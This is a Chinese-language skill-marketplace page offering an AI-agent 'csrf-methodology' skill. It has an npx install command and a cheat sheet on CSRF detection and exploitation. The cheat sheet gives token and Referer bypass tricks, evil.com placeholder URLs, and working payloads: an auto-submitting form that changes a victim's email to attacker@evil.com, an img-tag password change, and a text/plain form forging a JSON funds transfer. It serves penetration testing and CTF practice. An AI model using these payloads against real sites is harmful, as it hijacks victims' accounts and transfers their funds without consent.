用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/wgpsec/AboutSecurity --skill csrf-methodology命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | csrf-methodology |
| description | CSRF 跨站请求伪造检测与利用。当目标表单/API 缺少 CSRF Token、使用 Cookie 认证、有敏感操作(修改密码/转账/绑定邮箱)时使用。通过诱导受害者点击链接以其身份执行操作 |
| metadata | {"tags":"csrf,cross-site request forgery,跨站请求伪造,token,referer,samesite","category":"exploit"} |
CSRF 利用浏览器自动携带 Cookie 的特性,让受害者在不知情的情况下以自己的身份发送请求。
对敏感操作的请求,检查是否有以下防护:
<input type="hidden" name="csrf_token">Set-Cookie: session=xxx; SameSite=Strict/LaxX-Requested-With: XMLHttpRequest# 删除 token 参数 — 某些实现只在 token 存在时才验证
csrf_token= (空值)
# 使用其他用户的 token — 某些实现只检查 token 有效性,不绑定用户
# 用自己的账号获取一个 token,给受害者用
# Token 在 Cookie 中 — 可通过子域 XSS 设置 Cookie
Cookie: csrf=TOKEN
Body: csrf_token=TOKEN (两者匹配即可)
# 不发送 Referer
<meta name="referrer" content="no-referrer">
# 包含目标域名的 URL
https://evil.com/csrf?target.com
https://target.com.evil.com
# 空 Referer(某些实现只在 Referer 存在时才检查)
SameSite=Lax:GET 请求仍可跨站(顶级导航)→ 如果操作接受 GET,可利用SameSite=None:无保护window.location 跳转即可触发 GET 请求<img src="http://target/api/changePassword?new=hacked">
<form action="http://target/api/changeEmail" method="POST" id="f">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('f').submit();</script>
如果 API 要求 Content-Type: application/json,需要检查:
Content-Type: text/plain(form 可发送)<form action="http://target/api/transfer" method="POST" enctype="text/plain">
<input name='{"amount":1000,"to":"attacker","x":"' value='"}'>
</form>
CTF 中 CSRF 通常配合 XSS Bot: